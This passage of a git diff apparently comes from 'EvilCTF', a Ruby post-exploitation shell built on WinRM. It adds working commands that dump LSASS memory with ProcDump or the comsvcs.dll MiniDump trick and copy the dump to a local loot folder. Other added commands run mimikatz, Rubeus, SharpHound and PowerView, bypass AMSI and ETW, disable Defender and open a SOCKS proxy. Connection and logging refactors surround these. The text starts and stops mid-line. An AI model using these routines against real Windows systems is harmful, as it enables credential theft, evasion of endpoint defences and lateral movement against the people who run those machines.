logger) + command_manager.expand_macro('dump_creds', shell, webhook: session_options[:webhook]) + '' + end + + # lsass_dump + register('lsass_dump') do |shell, args, session_options| + logger = session_options[:logger] || OpenStruct.new + + EvilCTF::Tools.safe_autostage('procdump', shell, session_options, logger) + command_manager = session_options[:command_manager] + command_manager.expand_macro('lsass_dump', shell, webhook: session_options[:webhook]) + + locate_ps = <<~PS + try { + $files = Get-ChildItem -LiteralPath 'C:\\Users\\Public' -File -ErrorAction SilentlyContinue | + Where-Object { $_.Name -like 'lsass*.dmp*' } | + Sort-Object LastWriteTime -Descending + if ($files -and $files.Count -gt 0) { + "FOUND::" + $files[0].FullName + } else { + "MISSING" + } + } catch { + "ERROR::" + $_.Exception.Message + } + PS + + resolve_dump_path = lambda do + locate_res = shell.run(locate_ps) + locate_out = locate_res&.output.to_s + found_line = locate_out.lines.map(&:strip).find { |ln| ln.start_with?('FOUND::') } + dump_path = found_line ? found_line.sub('FOUND::', '').strip : nil + [dump_path, locate_out] + end + + dump_path, locate_out = resolve_dump_path.call + + unless dump_path + puts '[*] No dump from initial macro run; retrying ProcDump with explicit diagnostics...' + procdump_retry_ps = <<~PS + try { + $exe = 'C:\\Users\\Public\\procdump64.exe' + if (!(Test-Path -LiteralPath $exe)) { + "RETRY_ERROR::ProcDump not found at $exe" + } else { + $target = 'C:\\Users\\Public\\lsass_retry.dmp' + & $exe -accepteula -ma lsass.exe $target 2>&1 | ForEach-Object { $_.ToString() } + "RETRY_EXIT::$LASTEXITCODE" + } + } catch { + "RETRY_ERROR::" + $_.Exception.Message + } + PS + retry_res = shell.run(procdump_retry_ps) + retry_out = retry_res&.output.to_s + retry_out.lines.each { |ln| puts "[procdump] #{ln.strip}" unless ln.to_s.strip.empty? } + if retry_out.include?('RETRY_EXIT::-1073741515') + puts '[!] ProcDump failed with STATUS_DLL_NOT_FOUND (-1073741515). Target likely lacks required runtime/DLL dependencies for this binary.' + end + + dump_path, locate_out = resolve_dump_path.call + end + + unless dump_path + puts '[*] ProcDump still did not produce a file; attempting comsvcs MiniDump fallback...' + comsvcs_ps = <<~PS + try { + $lsass = Get-Process -Name lsass -ErrorAction Stop | Select-Object -First 1 + $lsassPid = $lsass.Id + $out = 'C:\\Users\\Public\\lsass_comsvcs.dmp' + $args = "C:\\Windows\\System32\\comsvcs.dll, MiniDump $lsassPid $out full" + $p = Start-Process -FilePath 'rundll32.exe' -ArgumentList $args -PassThru -Wait -WindowStyle Hidden + "COMSVCS_EXIT::$($p.ExitCode)" + } catch { + "COMSVCS_ERROR::" + $_.Exception.Message + } + PS + comsvcs_res = shell.run(comsvcs_ps) + comsvcs_out = comsvcs_res&.output.to_s + comsvcs_out.lines.each { |ln| puts "[comsvcs] #{ln.strip}" unless ln.to_s.strip.empty? } + + dump_path, locate_out = resolve_dump_path.call + end + + if dump_path + EvilCTF::Uploader.download_file( + dump_path, + "loot/lsass_#{session_options[:ip]}.dmp", + shell + ) + else + puts '[!] No LSASS dump file found in C:\\Users\\Public after procdump execution.' + if locate_out.include?('ERROR::') + puts "[!] Dump discovery error: #{locate_out.lines.map(&:strip).find { |ln| ln.start_with?('ERROR::') }}" + end + puts '[!] Current user likely lacks required LSASS access (admin + SeDebug and no PPL/Credential Guard constraints).' + end + '' + end + + # fileops + register('fileops') do |shell, args, session_options| + EvilCTF::Uploader.file_operations_menu(shell) + '' + end + + # enum - handles optional type argument + register('enum') do |shell, args, session_options| + t = (args && args.strip) ? args.strip.downcase : 'basic' + + if t == 'deep' + logger = session_options[:logger] || OpenStruct.new + EvilCTF::Tools.safe_autostage('winpeas', shell, session_options, logger) + end + + if t == 'dom' + logger = session_options[:logger] || OpenStruct.new + EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) + EvilCTF::Execution.run(shell, "IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)", timeout: 120) + end + + if t == 'sql' + EvilCTF::SQLEnum.run_sql_enum(shell) + else + enum_cache = session_options[:enum_cache] ||= {} + EvilCTF::Enums.run_enumeration(shell, type: t, cache: enum_cache, fresh: session_options[:fresh]) + end + '' + end + + # dom_enum + register('dom_enum') do |shell, args, session_options| + logger = session_options[:logger] || OpenStruct.new + enum_cache = session_options[:enum_cache] ||= {} + EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) + EvilCTF::Execution.run(shell, "IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)", timeout: 120) + EvilCTF::Enums.run_enumeration(shell, type: 'dom', cache: enum_cache, fresh: session_options[:fresh]) + '' + end + + # disable_defender + register('disable_defender') do |shell, args, session_options| + EvilCTF::Tools.disable_defender(shell) + '' + end + + # history (show) + register('history') do |shell, args, session_options| + history = session_options[:history] + history.show if history + '' + end + + # history clear + register('history clear') do |shell, args, session_options| + history = session_options[:history] + history.clear if history + puts '[+] History cleared' + '' + end + + # profile save + register('profile save') do |shell, args, session_options| + name = args.strip if args + if name && !name.empty? + EvilCTF::Tools.save_config_profile(name, session_options) + else + puts '[*] Usage: profile save ' + end + '' + end + + # get-unquotedservices + register('get-unquotedservices') do |shell, args, session_options| + puts "[*] Getting all unquoted service paths..." + unquoted_ps = <<~POWERSHELL + Get-CimInstance -Class Win32_Service | Where-Object { + $_.PathName -notlike '`"*' -and $_.PathName -like '*.exe*' -and $_.PathName -like '* *' + } | Select-Object Name, DisplayName, PathName, State, StartMode | Format-Table -AutoSize + POWERSHELL + exec_res = EvilCTF::Execution.run(shell, unquoted_ps, timeout: 30) + puts exec_res.output + '' + end + + # bypass-4msi - AMSI bypass with detection and verification + register('bypass-4msi') do |shell, args, session_options| + output = [] + # Run detection + detect_result = EvilCTF::Execution.run(shell, EvilCTF::Tools::BYPASS_DETECTION_PS, timeout: 30) + output << detect_result.output + + # Run enhanced or standard bypass based on detection + if detect_result.output.include?("Windows 11") + output << "[*] Running enhanced Windows 11/2022+ AMSI bypass..." + else + output << "[*] Running standard AMSI bypass..." + end + + bypass_result = EvilCTF::Execution.run(shell, EvilCTF::Tools::BYPASS_4MSI_PS, timeout: 60) + output << bypass_result.output + + # Run verification + verify_result = EvilCTF::Execution.run(shell, EvilCTF::Tools::BYPASS_VERIFICATION_PS, timeout: 30) + output << verify_result.output + + output.join("\n") + end + + # bypass-etw - Full ETW bypass with detection and verification + register('bypass-etw') do |shell, args, session_options| + output = [] + # Run detection + detect_result = EvilCTF::Execution.run(shell, EvilCTF::Tools::BYPASS_DETECTION_PS, timeout: 30) + output << detect_result.output + + # Run ETW bypass + etw_result = EvilCTF::Execution.run(shell, EvilCTF::Tools::ETW_BYPASS_PS, timeout: 60) + output << etw_result.output + + # Run verification + verify_result = EvilCTF::Execution.run(shell, EvilCTF::Tools::BYPASS_VERIFICATION_PS, timeout: 30) + output << verify_result.output + + output.join("\n") + end + + # tool - handles staging and optional execution of tools + register('tool') do |shell, args, session_options| + return { ok: false, error: 'Usage: tool (or "all")' } unless args && args.strip + + key = args.strip + logger = session_options[:logger] || OpenStruct.new + + if key == 'all' + puts "[*] Staging all tools..." + EvilCTF::Tools::TOOL_REGISTRY.each_key do |tool_key| + EvilCTF::Tools.safe_autostage(tool_key, shell, session_options, logger) + end + else + puts "[*] Staging tool: #{key}" + success = EvilCTF::Tools.safe_autostage(key, shell, session_options, logger) + if success + puts "[+] Tool '#{key}' staged successfully" + tool = EvilCTF::Tools::TOOL_REGISTRY[key] + if tool && tool[:recommended_remote] + remote_path = tool[:recommended_remote] + case key.downcase + when 'mimikatz' + puts "[*] Executing mimikatz..." + ps_cmd = <<~PS + try { + \$proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -PassThru -WindowStyle Hidden + \$proc.WaitForExit(30000) | Out-Null + if (\$proc.HasExited) { + Write-Output "Mimikatz completed with exit code: \$(\$proc.ExitCode)" + } else { + Write-Output "Mimikatz timed out after 30 seconds" + \$proc.Kill() + } + } catch { + Write-Output "Error executing mimikatz: \$_ .Exception.Message" + } + PS + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) + puts exec_res.output + + when 'winpeas' + puts "[*] Executing winpeas..." + ps_cmd = <<~PS + try { + \$proc = Start-Process -FilePath "cmd" -ArgumentList "/c '#{EvilCTF::Utils.escape_ps_string(remote_path)}'" -PassThru -WindowStyle Hidden + \$proc.WaitForExit(60000) | Out-Null + if (\$proc.HasExited) { + Write-Output "WinPEAS completed with exit code: \$(\$proc.ExitCode)" + } else { + Write-Output "WinPEAS timed out after 60 seconds" + \$proc.Kill() + } + } catch { + Write-Output "Error executing winpeas: \$_ .Exception.Message" + } + PS + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 70) + puts exec_res.output + + when 'procdump' + puts "[*] Executing procdump..." + ps_cmd = <<~PS + try { + \$proc = Start-Process -FilePath "cmd" -ArgumentList "/c '#{EvilCTF::Utils.escape_ps_string(remote_path)}'" -PassThru -WindowStyle Hidden + \$proc.WaitForExit(30000) | Out-Null + if (\$proc.HasExited) { + Write-Output "Procdump completed with exit code: \$(\$proc.ExitCode)" + } else { + Write-Output "Procdump timed out after 30 seconds" + \$proc.Kill() + } + } catch { + Write-Output "Error executing procdump: \$_ .Exception.Message" + } + PS + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) + puts exec_res.output + + when 'rubeus', 'seatbelt' + puts "[*] Executing #{key}..." + ps_cmd = <<~PS + try { + \$proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -PassThru -WindowStyle Hidden + \$proc.WaitForExit(30000) | Out-Null + if (\$proc.HasExited) { + Write-Output "#{key.capitalize} completed with exit code: \$(\$proc.ExitCode)" + } else { + Write-Output "#{key.capitalize} timed out after 30 seconds" + \$proc.Kill() + } + } catch { + Write-Output "Error executing #{key}: \$_ .Exception.Message" + } + PS + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) + puts exec_res.output + + when 'inveigh', 'powerview', 'sharphound' + puts "[*] Executing #{key} PowerShell script..." + ps_script = "IEX (Get-Content '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -Raw) 2>&1" + exec_res = EvilCTF::Execution.run(shell, ps_script, timeout: 120) + puts exec_res.output + + when 'socksproxy' + puts "[*] Executing SOCKS proxy PowerShell module..." + ps_script = "Import-Module '#{EvilCTF::Utils.escape_ps_string(remote_path)}' 2>&1; Invoke-SocksProxy -Port 1080" + exec_res = EvilCTF::Execution.run(shell, ps_script, timeout: 120) + puts exec_res.output + + else + if remote_path.end_with?('.exe') + puts "[*] Executing #{key}..." + ps_cmd = <<~PS + try { + \$proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -PassThru -WindowStyle Hidden + \$proc.WaitForExit(30000) | Out-Null + if (\$proc.HasExited) { + Write-Output "#{key.capitalize} completed with exit code: \$(\$proc.ExitCode)" + } else { + Write-Output "#{key.capitalize} timed out after 30 seconds" + \$proc.Kill() + } + } catch { + Write-Output "Error executing #{key}: \$_ .Exception.Message" + } + PS + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) + puts exec_res.output + else + puts "[*] Tool staged. Execute manually with: #{remote_path}" + end + end + end + else + puts "[-] Failed to stage tool '#{key}'" + end + end + '' + end + + # !bash / !sh - spawn local shell + register('!bash') do |shell, args, session_options| + puts '[*] Spawning local shell. Type "exit" to return.' + system(ENV['SHELL'] || '/bin/bash') + '' + end + + register('!sh') do |shell, args, session_options| + puts '[*] Spawning local shell. Type "exit" to return.' + system(ENV['SHELL'] || '/bin/bash') + '' + end + end + end +end diff --git a/lib/evil_ctf/connection.rb b/lib/evil_ctf/connection.rb index 6ecd8a3..2389815 100644 --- a/lib/evil_ctf/connection.rb +++ b/lib/evil_ctf/connection.rb @@ -1,39 +1,55 @@ # frozen_string_literal: true +unless defined?(Fixnum) + Fixnum = Integer +end + +require_relative '../compat/silence_warnings' require 'winrm' rescue nil module EvilCTF module Connection # Centralized WinRM connection builder supporting all options and robust error handling - # opts: endpoint, user, password, hash, kerberos, realm, keytab, ssl, debug, transport - def self.build_full(opts = {}) + # Ruby 4.0 migration note: + # Prefer keyword arguments and keep a temporary Hash shim for legacy callers. + def self.build_full(opts = nil, **kwargs) + if opts && !opts.is_a?(Hash) + raise ArgumentError, 'build_full expects keyword args (or a legacy Hash)' + end + + if opts + warn '[DEPRECATION] build_full(Hash) is deprecated; use keyword arguments instead.' + end + + params = (opts || {}).merge(kwargs) + return nil unless defined?(WinRM::Connection) - endpoint = opts[:endpoint] || opts[:url] - user = opts[:user] - pass = opts[:password] - hash = opts[:hash] - kerberos = opts[:kerberos] - realm = opts[:realm] - keytab = opts[:keytab] - ssl = opts[:ssl] - debug = opts[:debug] - transport = opts[:transport] + endpoint = params[:endpoint] || params[:url] + user = params[:user] + pass = params[:password] + hash = params[:hash] + kerberos = params[:kerberos] + realm = params[:realm] + keytab = params[:keytab] + ssl = params[:ssl] + debug = params[:debug] + transport = params[:transport] # Default port logic - if endpoint.nil? && opts[:ip] - port = opts[:port] || (ssl ? 5986 : 5985) + if endpoint.nil? && params[:ip] + port = params[:port] || (ssl ? 5986 : 5985) scheme = ssl ? 'https' : 'http' - endpoint = "#{scheme}://#{opts[:ip]}:#{port}/wsman" + endpoint = "#{scheme}://#{params[:ip]}:#{port}/wsman" end options = { - no_ssl_peer_verification: true, + no_ssl_peer_verification: !!params[:ssl_no_verify], debug: !!debug } # Inject custom User-Agent if provided - if opts[:user_agent] + if params[:user_agent] options[:http_client] = WinRM::HTTP::HttpTransport.new(endpoint, {}) - options[:http_client].instance_variable_get(:@httpcli).default_header['User-Agent'] = opts[:user_agent] + options[:http_client].instance_variable_get(:@httpcli).default_header['User-Agent'] = params[:user_agent] end begin @@ -65,17 +81,11 @@ def self.build_full(opts = {}) ) end return conn - rescue WinRM::WinRMEndpointError => e - warn "[!] WARNING - Connection failed for #{endpoint} (endpoint error): #{e.message}" - rescue WinRM::WinRMAuthenticationError => e - warn "[!] WARNING - Authentication failed for #{user}@#{endpoint}: #{e.message}" - rescue WinRM::WinRMTransportError => e - warn "[!] WARNING - Transport error for #{endpoint}: #{e.message}" - rescue WinRM::WinRMEndpointUnavailableError => e - warn "[!] WARNING - Endpoint unavailable for #{endpoint}: #{e.message}" - rescue WinRM::WinRMSessionError => e - warn "[!] WARNING - Session creation failed for #{endpoint}: #{e.message}" rescue => e + # The WinRM gem defines several specific exception classes across + # versions; to avoid uninitialized constant errors on older/newer + # versions and Ruby 3 compatibility issues, catch all errors here + # and give a concise warning message. warn "[!] WARNING - Connection error for #{endpoint}: #{e.class}: #{e.message}" end nil @@ -103,4 +113,43 @@ def close end end end + + # Validator class for testing WinRM connection validity + class ConnectionValidator + def self.validate(conn, timeout: 5) + shell = nil + result = nil + validation_result = nil + + begin + shell = conn.shell(:powershell) + result = shell.run("hostname", timeout: timeout) + hostname = result.output.to_s.strip + + validation_result = { ok: true, hostname: hostname } + rescue WinRM::WinRMAuthenticationError => e + validation_result = { ok: false, hostname: nil, error: "AuthenticationError: #{e.message}" } + rescue WinRM::WinRMEndpointError => e + validation_result = { ok: false, hostname: nil, error: "EndpointError: #{e.message}" } + rescue WinRM::WinRMAuthorizationError => e + validation_result = { ok: false, hostname: nil, error: "AuthorizationError: #{e.message}" } + rescue => e + validation_result = { ok: false, hostname: nil, error: "#{e.class}: #{e.message}" } + ensure + shell&.close + begin + conn.close if conn.respond_to?(:close) + rescue + nil + end + begin + conn.reset if conn.respond_to?(:reset) + rescue + nil + end + end + + validation_result + end + end end diff --git a/lib/evil_ctf/errors.rb b/lib/evil_ctf/errors.rb index 1555436..876a8af 100644 --- a/lib/evil_ctf/errors.rb +++ b/lib/evil_ctf/errors.rb @@ -6,5 +6,6 @@ class ConnectionError < Error; end class UploadError < Error; end class DownloadError < Error; end class CryptoError < Error; end + class ConnectionValidationFailed < Error; end end end diff --git a/lib/evil_ctf/execution.rb b/lib/evil_ctf/execution.rb new file mode 100644 index 0000000..739d32a --- /dev/null +++ b/lib/evil_ctf/execution.rb @@ -0,0 +1,143 @@ +# frozen_string_literal: true +require 'ostruct' +require_relative 'shell_adapter' + +module EvilCTF + module Execution + # Run a PowerShell command/script via a shell or adapter with a local timeout. + # Returns OpenStruct with :ok (bool), :exitcode (Integer or nil), :output (String). + def self.run(shell_or_adapter, ps, timeout: 60) + adapter = EvilCTF::ShellAdapter.wrap(shell_or_adapter) + result = nil + + runner = Thread.new do + begin + result = adapter.run(ps) + rescue => e + result = OpenStruct.new(output: "ERROR: #{e.class}: #{e.message}", exitcode: 255) + end + end + + finished = runner.join(timeout) + if finished.nil? || runner.alive? + # Timeout: return explicit failure and do not try to guess remote state + begin; runner.kill; rescue; end + return OpenStruct.new(ok: false, exitcode: nil, output: "ERROR: TIMED_OUT after #{timeout}s") + end + + out_raw = result && result.output ? result.output.to_s : '' + out = normalize_output(out_raw) + + exitcode = if result.respond_to?(:exitcode) && !result.exitcode.nil? + result.exitcode + else + parse_exitcode_from_output(out) + end + + ok = (exitcode == 0) + OpenStruct.new(ok: ok, exitcode: exitcode, output: out) + end + + def self.normalize_output(s) + return '' if s.nil? + str = s.dup + # Detect UTF-16LE by presence of NULs and try to convert + if str.encoding == Encoding::ASCII_8BIT || str.index("\x00") + begin + # strip trailing nulls and convert + tmp = str.gsub(/\x00/, '') + return tmp.encode('UTF-8', invalid: :replace, undef: :replace) + rescue + return str.force_encoding('UTF-8').encode('UTF-8', invalid: :replace, undef: :replace) + end + end + str.force_encoding('UTF-8') + end + + def self.parse_exitcode_from_output(out) + return nil unless out && !out.empty? + # Common patterns: 'exit code: 0', 'ExitCode: 0', 'Exited with code 0' + m = out.match(/(?:exit code|ExitCode|Exited with code|ExitCode\:?)\s*[:]?\s*(\d{1,3})/i) + return m[1].to_i if m + # If no explicit code, attempt to infer 0 if typical success words exist + return 0 if out =~ /completed|OK|MOVED|COPIED/i + nil + end + + # Stream a long-running command by launching it as a PowerShell background job + # that writes output to a temporary file on the remote host. Yields new text + # chunks to the provided block as they appear. Returns final OpenStruct + # similar to `run` when the job completes or on timeout. + def self.stream(shell_or_adapter, ps, timeout: 300, poll_interval: 1) + adapter = EvilCTF::ShellAdapter.wrap(shell_or_adapter) + token = "stream_#{Time.now.to_i}_#{rand(9999)}" + remote_tmp = "C:/Users/Public/evilctf_#{token}.log" + + # Start background job that runs the command and appends stdout/stderr to file + start_job = <<~PS + try { + $j = Start-Job -ScriptBlock { #{ps} 2>&1 | Out-File -FilePath '#{remote_tmp}' -Encoding UTF8 -Append } + if ($j) { Write-Output $j.Id } else { Write-Output "ERROR: Failed to start job" } + } catch { Write-Output "ERROR: $($_.Exception.Message)" } + PS + + begin + start_res = adapter.run(start_job) + rescue => e + return OpenStruct.new(ok: false, exitcode: nil, output: "ERROR: #{e.class}: #{e.message}") + end + + job_id = start_res && start_res.output ? start_res.output.to_s.scan(/\d+/).first.to_i : nil + unless job_id && job_id > 0 + # fallback: if we couldn't start a job, run directly + res = adapter.run(ps) + return OpenStruct.new(ok: true, exitcode: (res.respond_to?(:exitcode) ? res.exitcode : nil), output: res && res.output ? res.output.to_s : '') + end + + elapsed = 0 + last_content = '' + begin + while elapsed < timeout + # read remote tmp file content (may be empty) + read_ps = "try { if (Test-Path '#{remote_tmp}') { (Get-Content -Path '#{remote_tmp}' -Raw) } else { '' } } catch { '' }" + read_res = adapter.run(read_ps) + content = read_res && read_res.output ? read_res.output.to_s : '' + if content && content.length > last_content.length + new_text = content[last_content.length..-1] + yield new_text if block_given? && new_text && !new_text.empty? + last_content = content + end + + # check job state + state_ps = "try { (Get-Job -Id #{job_id} -ErrorAction SilentlyContinue).State } catch { 'Unknown' }" + state_res = adapter.run(state_ps) + state = state_res && state_res.output ? state_res.output.to_s.strip : nil + break if state && state =~ /Completed|Failed|Stopped/i + + sleep poll_interval + elapsed += poll_interval + end + + # final read + read_res = adapter.run("try { if (Test-Path '#{remote_tmp}') { (Get-Content -Path '#{remote_tmp}' -Raw) } else { '' } } catch { '' }") + final_output = read_res && read_res.output ? read_res.output.to_s : '' + + # cleanup job and tmp file + begin + adapter.run("Remove-Job -Id #{job_id} -Force -ErrorAction SilentlyContinue") + rescue + end + begin + adapter.run("Remove-Item -Path '#{remote_tmp}' -Force -ErrorAction SilentlyContinue") + rescue + end + + OpenStruct.new(ok: true, exitcode: nil, output: final_output) + rescue => e + begin; adapter.run("Remove-Job -Id #{job_id} -Force -ErrorAction SilentlyContinue"); rescue; end + begin; adapter.run("Remove-Item -Path '#{remote_tmp}' -Force -ErrorAction SilentlyContinue"); rescue; end + return OpenStruct.new(ok: false, exitcode: nil, output: "ERROR: #{e.class}: #{e.message}") + end + end + end +end diff --git a/lib/evil_ctf/logger.rb b/lib/evil_ctf/logger.rb index 1918583..4548b5d 100644 --- a/lib/evil_ctf/logger.rb +++ b/lib/evil_ctf/logger.rb @@ -5,12 +5,21 @@ module EvilCTF class Logger def initialize(path = nil) @path = path + @file = nil setup if @path end def setup FileUtils.mkdir_p(File.dirname(@path)) if @path && File.dirname(@path) != '.' - File.open(@path, 'a') { |f| f.puts "=== Session started: #{Time.now} ===" } + @file = File.open(@path, 'a') + @file.sync = true + @file.puts "=== Session started: #{Time.now} ===" + end + + def close + return unless @file + @file.close rescue nil + @file = nil end def info(msg); puts "[+] #{msg}"; write(msg) end @@ -23,8 +32,8 @@ def log_command(cmd, result, elapsed = nil, meta = {}) private def write(msg) - return unless @path - File.open(@path, 'a') { |f| f.puts("[#{Time.now}] #{msg}") } + return unless @file + @file.puts("[#{Time.now}] #{msg}") rescue nil end diff --git a/lib/evil_ctf/session.rb b/lib/evil_ctf/session.rb index 731e73b..2c05826 100644 --- a/lib/evil_ctf/session.rb +++ b/lib/evil_ctf/session.rb @@ -7,6 +7,10 @@ require_relative 'enums' require_relative 'sql_enum' require_relative 'connection' +require_relative 'utils' +require_relative 'execution' +require_relative 'tui' +require_relative 'command_dispatcher' require 'readline' require 'timeout' require 'evil_ctf/uploader' @@ -18,6 +22,73 @@ module EvilCTF::Session # Alias for the uploader helper Uploader = EvilCTF::Uploader + def self.test_connection(endpoint:, user:, password:, hash: nil, ssl: false, + kerberos: false, realm: nil, keytab: nil, + debug: false, transport: nil, user_agent: nil, + timeout: 10) + begin + conn = EvilCTF::Connection.build_full( + endpoint: endpoint, + user: user, + password: password, + hash: hash, + kerberos: kerberos, + realm: realm, + keytab: keytab, + ssl: ssl, + debug: debug, + transport: transport, + user_agent: user_agent + ) + return { ok: false, error: "Could not create connection for #{endpoint}" } unless conn + + validation = EvilCTF::ConnectionValidator.validate(conn, timeout: timeout) + return validation if validation[:ok] + + report = nil + if validation[:error].to_s.match?(/wrong number of arguments|unknown keyword|no keywords accepted|given \d+, expected \d+/i) + report = ruby40_compatibility_report( + endpoint: endpoint, + operation: 'ConnectionValidator.validate', + detail: validation[:error] + ) + end + validation.merge(report: report) + rescue ArgumentError => e + report = ruby40_compatibility_report( + endpoint: endpoint, + operation: 'Session.test_connection', + detail: e.message + ) + { ok: false, error: e.message, report: report } + rescue => e + if defined?(WinRM::WinRMHTTPTransportError) && e.is_a?(WinRM::WinRMHTTPTransportError) + return { + ok: false, + error: "HTTP transport error: #{e.message}", + report: ruby40_compatibility_report( + endpoint: endpoint, + operation: 'WinRM HTTP transport', + detail: e.message + ) + } + end + + { ok: false, error: "#{e.class}: #{e.message}" } + end + end + + def self.ruby40_compatibility_report(endpoint:, operation:, detail:) + <<~REPORT + Ruby 4.0 Compatibility Report + - Endpoint: #{endpoint} + - Operation: #{operation} + - Ruby: #{RUBY_VERSION} + - Detail: #{detail} + - Suggestion: verify all call sites use keyword arguments only and ensure winrm/winrm-fs are loaded from bundle exec context. + REPORT + end + # ------------------------------------------------------------------ # Main session loop & command handling # ------------------------------------------------------------------ @@ -80,7 +151,20 @@ def self.run_session(session_options) ) unless conn puts "[!] ERROR - Could not create WinRM connection. Check your options and try again." - return false + return [false, { ok: false, error: 'Could not create connection' }] + end + + # Validate connection and capture validation info + validation_info = nil + begin + validation_info = EvilCTF::ConnectionValidator.validate(conn, timeout: 10) + if validation_info[:ok] + puts "[+] Connection validated: #{validation_info[:hostname]}" + else + puts "[!] Connection validation failed: #{validation_info[:error]}" + end + rescue => e + validation_info = { ok: false, hostname: nil, error: "Validation error: #{e.message}" } end shell = nil @@ -107,6 +191,23 @@ def self.run_session(session_options) setup_autocomplete(history) enum_cache = {} + # If the user requested the TTY-based UI, hand off control to the + # TUI renderer which will perform its own background polling and + # interactive handling. After the TUI exits we perform normal + # session cleanup and return. + if session_options[:tui] + begin + puts "[*] Launching TUI..." + EvilCTF::TUI.start_rainfrog(shell, session_options) + rescue => e + puts "[!] Failed to start TUI: #{e.class}: #{e.message}" + ensure + EvilCTF::ShellWrapper.exit_session(shell) if defined?(EvilCTF::ShellWrapper.exit_session) + shell.close if shell + end + return [true, validation_info] + end + # Enumeration presets if session_options[:enum] puts "[*] Running enumeration preset: #{session_options[:enum]}" @@ -115,7 +216,7 @@ def self.run_session(session_options) EvilCTF::Tools.safe_autostage('winpeas', shell, session_options, logger) when 'dom' EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) - shell.run("IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)") + EvilCTF::Execution.run(shell, "IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)", timeout: 60) when 'sql' EvilCTF::SQLEnum.run_sql_enum(shell) else @@ -138,7 +239,8 @@ def self.run_session(session_options) begin Timeout.timeout(1800) do - prompt = shell.run('prompt').output + raw_prompt = shell.run('prompt').output + prompt = normalize_readline_prompt(raw_prompt) # Use a non-blocking approach for readline to allow interrupt detection input = nil @@ -195,361 +297,58 @@ def self.run_session(session_options) end end - case input - when /^help$/i - require 'colorize' - puts "\n" + "Builtin commands:".colorize(:cyan) - help_cmds = [ - ['help', 'This help'], - ['clear', 'Clear screen'], - ['tools', 'List tool registry'], - ['download_missing', 'Download all missing tools into ./tools'], - ['dump_creds', 'Stage mimikatz & dump logon passwords'], - ['lsass_dump', 'Stage procdump & dump LSASS to ./loot'], - ['enum [type]', 'Run enumeration preset (basic, deep, sql, etc.)'], - ['fileops', 'File operations menu (upload/download/ZIP)'], - ['bypass-4msi', 'Try AMSI bypass'], - ['bypass-etw', 'Full ETW bypass'], - ['disable_defender', 'Try disabling Defender real-time'], - ['history', 'Show command history'], - ['history clear', 'Clear history file'], - ['profile save ', 'Save current options as profile'], - ['get-unquotedservices', 'Show all unquoted service paths'], - ['load_ps1 ', 'Upload and load PS1 script'], - ['invoke-binary [args]', 'Upload and execute binary'], - ['services', 'List services'], - ['processes', 'List processes'], - ['sysinfo', 'System info'], - ['__exit__/exit/quit', 'Exit this Evil-WinRM CTF session'], - ['!sh / !bash', 'Spawn local shell'] - ] - help_cmds.each do |cmd, desc| - puts " ".colorize(:light_black) + cmd.colorize(:green) + " - ".colorize(:light_black) + desc.colorize(:white) - end - puts "\n" + "Macros: ".colorize(:cyan) + command_manager.list_macros.join(', ').colorize(:magenta) - puts "Aliases: ".colorize(:cyan) + command_manager.list_aliases.join(', ').colorize(:magenta) - next - - when /^clear$/i - system('clear || cls') - next - - when /^tools$/i - EvilCTF::Tools.list_available_tools - next - - when /^download_missing$/i - EvilCTF::Tools.download_missing_tools - next - - when /^dump_creds$/i - EvilCTF::Tools.safe_autostage('mimikatz', shell, session_options, logger) - EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) - command_manager.expand_macro('dump_creds', shell, - webhook: session_options[:webhook]) - next - - when /^lsass_dump$/i - # In-memory loader commands - when /^invoke-binary\s+(.+)$/i - args = $1.strip - loader_local = File.expand_path('../../../tools/loaders/Invoke-Binary.ps1', __FILE__) - loader_remote = 'C:\\Users\\Public\\Invoke-Binary.ps1' - unless shell.run("Test-Path '#{loader_remote}'").output.strip == 'True' - puts "[*] Uploading Invoke-Binary.ps1 loader..." - EvilCTF::Uploader.upload_file(loader_local, loader_remote, shell) - end - exe, *exe_args = args.split(/\s+/, 2) - exe_args = exe_args.join(' ') - if File.exist?(exe) - remote_exe = "C:\\Users\\Public\\#{File.basename(exe)}" - puts "[*] Uploading #{exe} to #{remote_exe}..." - EvilCTF::Uploader.upload_file(exe, remote_exe, shell) - exe = remote_exe - end - ps = "IEX (Get-Content '#{loader_remote}' -Raw); Invoke-Binary -Path '#{exe}'" - ps += " -Arguments '#{exe_args}'" unless exe_args.empty? - result = shell.run(ps) - puts result.output - next - - when /^dll-loader\s+(.+)$/i - args = $1.strip - loader_local = File.expand_path('../../../tools/loaders/Dll-Loader.ps1', __FILE__) - loader_remote = 'C:\\Users\\Public\\Dll-Loader.ps1' - unless shell.run("Test-Path '#{loader_remote}'").output.strip == 'True' - puts "[*] Uploading Dll-Loader.ps1 loader..." - EvilCTF::Uploader.upload_file(loader_local, loader_remote, shell) - end - dll = args - if File.exist?(dll) - remote_dll = "C:\\Users\\Public\\#{File.basename(dll)}" - puts "[*] Uploading #{dll} to #{remote_dll}..." - EvilCTF::Uploader.upload_file(dll, remote_dll, shell) - dll = remote_dll - end - ps = "IEX (Get-Content '#{loader_remote}' -Raw); Dll-Loader -Path '#{dll}'" - result = shell.run(ps) - puts result.output - next - - when /^donut-loader\s+(.+)$/i - args = $1.strip - loader_local = File.expand_path('../../../tools/loaders/Donut-Loader.ps1', __FILE__) - loader_remote = 'C:\\Users\\Public\\Donut-Loader.ps1' - unless shell.run("Test-Path '#{loader_remote}'").output.strip == 'True' - puts "[*] Uploading Donut-Loader.ps1 loader..." - EvilCTF::Uploader.upload_file(loader_local, loader_remote, shell) - end - donutfile, processid = args.split(/\s+/, 2) - if File.exist?(donutfile) - remote_donut = 